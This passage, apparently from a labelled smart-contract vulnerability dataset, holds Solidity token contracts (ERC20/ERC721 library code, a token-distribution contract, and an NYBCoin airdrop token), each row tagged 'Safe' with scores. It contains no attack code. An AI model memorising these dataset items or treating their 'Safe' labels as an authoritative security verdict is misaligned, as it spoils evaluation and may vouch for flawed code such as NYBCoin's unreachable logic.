which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: contracts/ERC721/ERC165.sol /** * @title ERC165 * @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md */ interface ERC165 { /** * @notice Query if a contract implements an interface * @param _interfaceId The interface identifier, as specified in ERC-165 * @dev Interface identification is specified in ERC-165. This function * uses less than 30,000 gas. */ function supportsInterface(bytes4 _interfaceId) external view returns (bool); } // File: contracts/ERC721/ERC721Basic.sol /** * @title ERC721 Non-Fungible Token Standard basic interface * @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Basic is ERC165 { event Transfer( address indexed _from, address indexed _to, uint256 indexed _tokenId ); event Approval( address indexed _owner, address indexed _approved, uint256 indexed _tokenId ); event ApprovalForAll( address indexed _owner, address indexed _operator, bool _approved ); function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); function exists(uint256 _tokenId) public view returns (bool _exists); function approve(address _to, uint256 _tokenId) public; function getApproved(uint256 _tokenId) public view returns (address _operator); function setApprovalForAll(address _operator, bool _approved) public; function isApprovedForAll(address _owner, address _operator) public view returns (bool); function transferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) public; } // File: contracts/ERC721/ERC721.sol /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Enumerable is ERC721Basic { function totalSupply() public view returns (uint256); function tokenOfOwnerByIndex( address _owner, uint256 _index ) public view returns (uint256 _tokenId); function tokenByIndex(uint256 _index) public view returns (uint256); } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Metadata is ERC721Basic { function name() external view returns (string _name); function symbol() external view returns (string _symbol); function tokenURI(uint256 _tokenId) public view returns (string); } /** * @title ERC-721 Non-Fungible Token Standard, full implementation interface * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata { } // File: contracts/ERC721/ERC721Receiver.sol /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ contract ERC721Receiver { /** * @dev Magic value to be returned upon successful reception of an NFT * Equals to `bytes4(keccak256(""onERC721Received(address,address,uint256,bytes)""))`, * which can be also obtained as `ERC721Receiver(0).onERC721Received.selector` */ bytes4 internal constant ERC721_RECEIVED = 0x150b7a02; /** * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a `safetransfer`. This function MAY throw to revert and reject the * transfer. Return of other than the magic value MUST result in the * transaction being reverted. * Note: the contract address is always the message sender. * @param _operator The address which called `safeTransferFrom` function * @param _from The address which previously owned the token * @param _tokenId The NFT identifier which is being transfered * @param _data Additional data with no specified format * @return `bytes4(keccak256(""onERC721Received(address,address,uint256,bytes)""))` */ function onERC721Received( address _operator, address _from, uint256 _tokenId, bytes _data ) public returns(bytes4); } // File: contracts/ERC721/AddressUtils.sol /** * Utility library of inline functions on addresses */ library AddressUtils { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param addr address to check * @return whether the target address is a contract */ function isContract(address addr) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solium-disable-next-line security/no-inline-assembly assembly { size := extcodesize(addr) } return size > 0; } } // File: contracts/ERC721/SupportsInterfaceWithLookup.sol /** * @title SupportsInterfaceWithLookup * @author Matt Condon (@shrugs) * @dev Implements ERC165 using a lookup table. */ contract SupportsInterfaceWithLookup is ERC165 { bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7; /** * 0x01ffc9a7 === * bytes4(keccak256('supportsInterface(bytes4)')) */ /** * @dev a mapping of interface id to whether or not it's supported */ mapping(bytes4 => bool) internal supportedInterfaces; /** * @dev A contract implementing SupportsInterfaceWithLookup * implement ERC165 itself */ constructor() public { _registerInterface(InterfaceId_ERC165); } /** * @dev implement supportsInterface(bytes4) using a lookup table */ function supportsInterface(bytes4 _interfaceId) external view returns (bool) { return supportedInterfaces[_interfaceId]; } /** * @dev private method for registering an interface */ function _registerInterface(bytes4 _interfaceId) internal { require(_interfaceId != 0xffffffff); supportedInterfaces[_interfaceId] = true; } } // File: contracts/ERC721/ERC721BasicToken.sol /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721BasicToken is SupportsInterfaceWithLookup, ERC721Basic { bytes4 private constant InterfaceId_ERC721 = 0x80ac58cd; /* * 0x80ac58cd === * bytes4(keccak256('balanceOf(address)')) ^ * bytes4(keccak256('ownerOf(uint256)')) ^ * bytes4(keccak256('approve(address,uint256)')) ^ * bytes4(keccak256('getApproved(uint256)')) ^ * bytes4(keccak256('setApprovalForAll(address,bool)')) ^ * bytes4(keccak256('isApprovedForAll(address,address)')) ^ * bytes4(keccak256('transferFrom(address,address,uint256)')) ^ * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) ^ * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) */ bytes4 private constant InterfaceId_ERC721Exists = 0x4f558e79; /* * 0x4f558e79 === * bytes4(keccak256('exists(uint256)')) */ using SafeMath for uint256; using AddressUtils for address; // Equals to `bytes4(keccak256(""onERC721Received(address,address,uint256,bytes)""))` // which can be also obtained as `ERC721Receiver(0).onERC721Received.selector` bytes4 private constant ERC721_RECEIVED = 0x150b7a02; // Mapping from token ID to owner mapping (uint256 => address) internal tokenOwner; // Mapping from token ID to approved address mapping (uint256 => address) internal tokenApprovals; // Mapping from owner to number of owned token mapping (address => uint256) internal ownedTokensCount; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) internal operatorApprovals; /** * @dev Guarantees msg.sender is owner of the given token * @param _tokenId uint256 ID of the token to validate its ownership belongs to msg.sender */ modifier onlyOwnerOf(uint256 _tokenId) { require(ownerOf(_tokenId) == msg.sender); _; } /** * @dev Checks msg.sender can transfer a token, by being owner, approved, or operator * @param _tokenId uint256 ID of the token to validate */ modifier canTransfer(uint256 _tokenId) { require(isApprovedOrOwner(msg.sender, _tokenId)); _; } constructor() public { // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(InterfaceId_ERC721); _registerInterface(InterfaceId_ERC721Exists); } /** * @dev Gets the balance of the specified address * @param _owner address to query the balance of * @return uint256 representing the amount owned by the passed address */ function balanceOf(address _owner) public view returns (uint256) { require(_owner != address(0)); return ownedTokensCount[_owner]; } /** * @dev Gets the owner of the specified token ID * @param _tokenId uint256 ID of the token to query the owner of * @return owner address currently marked as the owner of the given token ID */ function ownerOf(uint256 _tokenId) public view returns (address) { address owner = tokenOwner[_tokenId]; require(owner != address(0)); return owner; } /** * @dev Returns whether the specified token exists * @param _tokenId uint256 ID of the token to query the existence of * @return whether the token exists */ function exists(uint256 _tokenId) public view returns (bool) { address owner = tokenOwner[_tokenId]; return owner != address(0); } /** * @dev Approves another address to transfer the given token ID * The zero address indicates there is no approved address. * There can only be one approved address per token at a given time. * Can only be called by the token owner or an approved operator. * @param _to address to be approved for the given token ID * @param _tokenId uint256 ID of the token to be approved */ function approve(address _to, uint256 _tokenId) public { address owner = ownerOf(_tokenId); require(_to != owner); require(msg.sender == owner || isApprovedForAll(owner, msg.sender)); tokenApprovals[_tokenId] = _to; emit Approval(owner, _to, _tokenId); } /** * @dev Gets the approved address for a token ID, or zero if no address set * @param _tokenId uint256 ID of the token to query the approval of * @return address currently approved for the given token ID */ function getApproved(uint256 _tokenId) public view returns (address) { return tokenApprovals[_tokenId]; } /** * @dev Sets or unsets the approval of a given operator * An operator is allowed to transfer all tokens of the sender on their behalf * @param _to operator address to set the approval * @param _approved representing the status of the approval to be set */ function setApprovalForAll(address _to, bool _approved) public { require(_to != msg.sender); operatorApprovals[msg.sender][_to] = _approved; emit ApprovalForAll(msg.sender, _to, _approved); } /** * @dev Tells whether an operator is approved by a given owner * @param _owner owner address which you want to query the approval of * @param _operator operator address which you want to query the approval of * @return bool whether the given operator is approved by the given owner */ function isApprovedForAll( address _owner, address _operator ) public view returns (bool) { return operatorApprovals[_owner][_operator]; } /** * @dev Transfers the ownership of a given token ID to another address * Usage of this method is discouraged, use `safeTransferFrom` whenever possible * Requires the msg sender to be the owner, approved, or operator * @param _from current owner of the token * @param _to address to receive the ownership of the given token ID * @param _tokenId uint256 ID of the token to be transferred */ function transferFrom( address _from, address _to, uint256 _tokenId ) public canTransfer(_tokenId) { require(_from != address(0)); require(_to != address(0)); clearApproval(_from, _tokenId); removeTokenFrom(_from, _tokenId); addTokenTo(_to, _tokenId); emit Transfer(_from, _to, _tokenId); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256(""onERC721Received(address,address,uint256,bytes)""))`; otherwise, * the transfer is reverted. * * Requires the msg sender to be the owner, approved, or operator * @param _from current owner of the token * @param _to address to receive the ownership of the given token ID * @param _tokenId uint256 ID of the token to be transferred */ function safeTransferFrom( address _from, address _to, uint256 _tokenId ) public canTransfer(_tokenId) { // solium-disable-next-line arg-overflow safeTransferFrom(_from, _to, _tokenId, """"); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256(""onERC721Received(address,address,uint256,bytes)""))`; otherwise, * the transfer is reverted. * Requires the msg sender to be the owner, approved, or operator * @param _from current owner of the token * @param _to address to receive the ownership of the given token ID * @param _tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check */ function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) public canTransfer(_tokenId) { transferFrom(_from, _to, _tokenId); // solium-disable-next-line arg-overflow require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data)); } /** * @dev Returns whether the given spender can transfer a given token ID * @param _spender address of the spender to query * @param _tokenId uint256 ID of the token to be transferred * @return bool whether the msg.sender is approved for the given token ID, * is an operator of the owner, or is the owner of the token */ function isApprovedOrOwner( address _spender, uint256 _tokenId ) internal view returns (bool) { address owner = ownerOf(_tokenId); // Disable solium check because of // https://github.com/duaraghav8/Solium/issues/175 // solium-disable-next-line operator-whitespace return ( _spender == owner || getApproved(_tokenId) == _spender || isApprovedForAll(owner, _spender) ); } /** * @dev Internal function to mint a new token * Reverts if the given token ID already exists * @param _to The address that will own the minted token * @param _tokenId uint256 ID of the token to be minted by the msg.sender */ function _mint(address _to, uint256 _tokenId) internal { require(_to != address(0)); addTokenTo(_to, _tokenId); emit Transfer(address(0), _to, _tokenId); } /** * @dev Internal function to burn a specific token * Reverts if the token does not exist * @param _tokenId uint256 ID of the token being burned by the msg.sender */ function _burn(address _owner, uint256 _tokenId) internal { clearApproval(_owner, _tokenId); removeTokenFrom(_owner, _tokenId); emit Transfer(_owner, address(0), _tokenId); } /** * @dev Internal function to clear current approval of a given token ID * Reverts if the given address is not indeed the owner of the token * @param _owner owner of the token * @param _tokenId uint256 ID of the token to be transferred */ function clearApproval(address _owner, uint256 _tokenId) internal { require(ownerOf(_tokenId) == _owner); if (tokenApprovals[_tokenId] != address(0)) { tokenApprovals[_tokenId] = address(0); } } /** * @dev Internal function to add a token ID to the list of a given address * @param _to address representing the new owner of the given token ID * @param _tokenId uint256 ID of the token to be added to the tokens list of the given address */ function addTokenTo(address _to, uint256 _tokenId) internal { require(tokenOwner[_tokenId] == address(0)); tokenOwner[_tokenId] = _to; ownedTokensCount[_to] = ownedTokensCount[_to].add(1); } /** * @dev Internal function to remove a token ID from the list of a given address * @param _from address representing the previous owner of the given token ID * @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function removeTokenFrom(address _from, uint256 _tokenId) internal { require(ownerOf(_tokenId) == _from); ownedTokensCount[_from] = ownedTokensCount[_from].sub(1); tokenOwner[_tokenId] = address(0); } /** * @dev Internal function to invoke `onERC721Received` on a target address * The call is not executed if the target address is not a contract * @param _from address representing the previous owner of the given token ID * @param _to target address that will receive the tokens * @param _tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return whether the call correctly returned the expected magic value */ function checkAndCallSafeTransfer( address _from, address _to, uint256 _tokenId, bytes _data ) internal returns (bool) { if (!_to.isContract()) { return true; } bytes4 retval = ERC721Receiver(_to).onERC721Received( msg.sender, _from, _tokenId, _data); return (retval == ERC721_RECEIVED); } } // File: contracts/ERC721/ERC721Token.sol /** * @title Full ERC721 Token * This implementation includes all the required and some optional functionality of the ERC721 standard * Moreover, it includes approve all functionality using operator terminology * @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Token is SupportsInterfaceWithLookup, ERC721BasicToken, ERC721 { bytes4 private constant InterfaceId_ERC721Enumerable = 0x780e9d63; /** * 0x780e9d63 === * bytes4(keccak256('totalSupply()')) ^ * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) ^ * bytes4(keccak256('tokenByIndex(uint256)')) */ bytes4 private constant InterfaceId_ERC721Metadata = 0x5b5e139f; /** * 0x5b5e139f === * bytes4(keccak256('name()')) ^ * bytes4(keccak256('symbol()')) ^ * bytes4(keccak256('tokenURI(uint256)')) */ // Token name string internal name_; // Token symbol string internal symbol_; // Mapping from owner to list of owned token IDs mapping(address => uint256[]) internal ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) internal ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] internal allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) internal allTokensIndex; // Optional mapping for token URIs mapping(uint256 => string) internal tokenURIs; /** * @dev Constructor function */ constructor(string _name, string _symbol) public { name_ = _name; symbol_ = _symbol; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(InterfaceId_ERC721Enumerable); _registerInterface(InterfaceId_ERC721Metadata); } /** * @dev Gets the token name * @return string representing the token name */ function name() external view returns (string) { return name_; } /** * @dev Gets the token symbol * @return string representing the token symbol */ function symbol() external view returns (string) { return symbol_; } /** * @dev Returns an URI for a given token ID * Throws if the token ID does not exist. May return an empty string. * @param _tokenId uint256 ID of the token to query */ function tokenURI(uint256 _tokenId) public view returns (string) { require(exists(_tokenId)); return tokenURIs[_tokenId]; } /** * @dev Gets the token ID at a given index of the tokens list of the requested owner * @param _owner address owning the tokens list to be accessed * @param _index uint256 representing the index to be accessed of the requested tokens list * @return uint256 token ID at the given index of the tokens list owned by the requested address */ function tokenOfOwnerByIndex( address _owner, uint256 _index ) public view returns (uint256) { require(_index < balanceOf(_owner)); return ownedTokens[_owner][_index]; } /** * @dev Gets the total amount of tokens stored by the contract * @return uint256 representing the total amount of tokens */ function totalSupply() public view returns (uint256) { return allTokens.length; } /** * @dev Gets the token ID at a given index of all the tokens in this contract * Reverts if the index is greater or equal to the total number of tokens * @param _index uint256 representing the index to be accessed of the tokens list * @return uint256 token ID at the given index of the tokens list */ function tokenByIndex(uint256 _index) public view returns (uint256) { require(_index < totalSupply()); return allTokens[_index]; } /** * @dev Internal function to set the token URI for a given token * Reverts if the token ID does not exist * @param _tokenId uint256 ID of the token to set its URI * @param _uri string URI to assign */ function _setTokenURI(uint256 _tokenId, string _uri) internal { require(exists(_tokenId)); tokenURIs[_tokenId] = _uri; } /** * @dev Internal function to add a token ID to the list of a given address * @param _to address representing the new owner of the given token ID * @param _tokenId uint256 ID of the token to be added to the tokens list of the given address */ function addTokenTo(address _to, uint256 _tokenId) internal { super.addTokenTo(_to, _tokenId); uint256 length = ownedTokens[_to].length; ownedTokens[_to].push(_tokenId); ownedTokensIndex[_tokenId] = length; } /** * @dev Internal function to remove a token ID from the list of a given address * @param _from address representing the previous owner of the given token ID * @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function removeTokenFrom(address _from, uint256 _tokenId) internal { super.removeTokenFrom(_from, _tokenId); uint256 tokenIndex = ownedTokensIndex[_tokenId]; uint256 lastTokenIndex = ownedTokens[_from].length.sub(1); uint256 lastToken = ownedTokens[_from][lastTokenIndex]; ownedTokens[_from][tokenIndex] = lastToken; ownedTokens[_from][lastTokenIndex] = 0; // Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to // be zero. Then we can make sure that we will remove _tokenId from the ownedTokens list since we are first swapping // the lastToken to the first position, and then dropping the element placed in the last position of the list ownedTokens[_from].length--; ownedTokensIndex[_tokenId] = 0; ownedTokensIndex[lastToken] = tokenIndex; } /** * @dev Internal function to mint a new token * Reverts if the given token ID already exists * @param _to address the beneficiary that will own the minted token * @param _tokenId uint256 ID of the token to be minted by the msg.sender */ function _mint(address _to, uint256 _tokenId) internal { super._mint(_to, _tokenId); allTokensIndex[_tokenId] = allTokens.length; allTokens.push(_tokenId); } /** * @dev Internal function to burn a specific token * Reverts if the token does not exist * @param _owner owner of the token to burn * @param _tokenId uint256 ID of the token being burned by the msg.sender */ function _burn(address _owner, uint256 _tokenId) internal { super._burn(_owner, _tokenId); // Clear metadata (if any) if (bytes(tokenURIs[_tokenId]).length != 0) { delete tokenURIs[_tokenId]; } // Reorg all tokens array uint256 tokenIndex = allTokensIndex[_tokenId]; uint256 lastTokenIndex = allTokens.length.sub(1); uint256 lastToken = allTokens[lastTokenIndex]; allTokens[tokenIndex] = lastToken; allTokens[lastTokenIndex] = 0; allTokens.length--; allTokensIndex[_tokenId] = 0; allTokensIndex[lastToken] = tokenIndex; } } // File: contracts/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: contracts/DistributeByTransferFrom.sol contract ERC20StdToken is StandardToken {} contract ERC721StdToken is ERC721Token {} contract DistributeByTransferFrom is Ownable { address public owner; constructor () public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } event Pay(uint256 _value, bytes _id); /** * @dev fallback functiom that receives payment in ether and sends * it to the contract owner **/ function () payable public { owner.transfer(msg.value); emit Pay(msg.value, msg.data); } /** * @dev sends transactions TransferFrom by cycle in token address * @param _token Address of token which is distributed * @param _bits Array of transfer params. nth elem - address to, nth+1 elem - value */ function distributeTokens(address _token, address _from, uint256[] _bits) public onlyOwner returns (bool result) { require(_bits.length % 2 == 0); for (uint256 i = 0; i < _bits.length; i+=2) { address to = address(_bits[i]); uint256 value = _bits[i+1]; ERC20StdToken(_token).transferFrom(_from, to, value); } return true; } /** * @dev Sends accidentally sent ethereum from contract to owner */ function withdrawEther() public onlyOwner returns(bool res) { uint256 ethBalance = address(this).balance; owner.transfer(ethBalance); return true; } /** * @dev Withdraws any accidentally sent ERC20 token from contract to owner * @param _token Address of token to be withdrawed */ function withdrawERC20(address _token) public onlyOwner returns(bool res) { uint256 value = ERC20StdToken(_token).balanceOf(address(this)); ERC20StdToken(_token).transfer(owner, value); return true; } /** * @dev Withdraws any accidentally sent ERC721 token from contract to owner * @param _contract Address of ERC721 token contract * @param _tokenId Id of non-fungible token to be withdrawed */ function withdrawERC721(address _contract, uint256 _tokenId) public onlyOwner returns(bool res) { ERC721StdToken(_contract).safeTransferFrom(address(this), owner, _tokenId); return true; } }",Safe,8,8 0x041fe8DF8b4aaa868941EB877952f17baBe57dA5_NYBCoin.sol,"pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ForeignToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } interface Token { function distr(address _to, uint256 _value) public returns (bool); function totalSupply() constant public returns (uint256 supply); function balanceOf(address _owner) constant public returns (uint256 balance); } contract NYBCoin is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public blacklist; string public constant name = ""NYBCoin""; string public constant symbol = ""NYBC""; uint public constant decimals = 8; uint256 public totalSupply = 1000000000e8; uint256 public totalDistributed = 100000000e8; uint256 public totalRemaining = totalSupply.sub(totalDistributed); uint256 public value; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Burn(address indexed burner, uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyWhitelist() { require(blacklist[msg.sender] == false); _; } function NYBCoin () public { owner = msg.sender; value = 4000e8; distr(owner, totalDistributed); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function enableWhitelist(address[] addresses) onlyOwner public { for (uint i = 0; i < addresses.length; i++) { blacklist[addresses[i]] = false; } } function disableWhitelist(address[] addresses) onlyOwner public { for (uint i = 0; i < addresses.length; i++) { blacklist[addresses[i]] = true; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); totalRemaining = totalRemaining.sub(_amount); balances[_to] = balances[_to].add(_amount); Distr(_to, _amount); Transfer(address(0), _to, _amount); return true; if (totalDistributed >= totalSupply) { distributionFinished = true; } } function airdrop(address[] addresses) onlyOwner canDistr public { require(addresses.length <= 255); require(value <= totalRemaining); for (uint i = 0; i < addresses.length; i++) { require(value <= totalRemaining); distr(addresses[i], value); } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public { require(addresses.length <= 255); require(amount <= totalRemaining); for (uint i = 0; i < addresses.length; i++) { require(amount <= totalRemaining); distr(addresses[i], amount); } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public { require(addresses.length <= 255); require(addresses.length == amounts.length); for (uint8 i = 0; i < addresses.length; i++) { require(amounts[i] <= totalRemaining); distr(addresses[i], amounts[i]); if (totalDistributed >= totalSupply) { distributionFinished = true; } } } function () external payable { getTokens(); } function getTokens() payable canDistr onlyWhitelist public { if (value > totalRemaining) { value = totalRemaining; } require(value <= totalRemaining); address investor = msg.sender; uint256 toGive = value; distr(investor, toGive); if (toGive > 0) { blacklist[investor] = true; } if (totalDistributed >= totalSupply) { distributionFinished = true; } value = value.div(100000).mul(99999); } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } // mitigates the ERC20 short address attack modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { // mitigates the ERC20 spend/approval race condition if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdraw() onlyOwner public { uint256 etherBalance = this.balance; owner.transfer(etherBalance); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); Burn(burner, _value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }",Safe,8,8 34660.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it 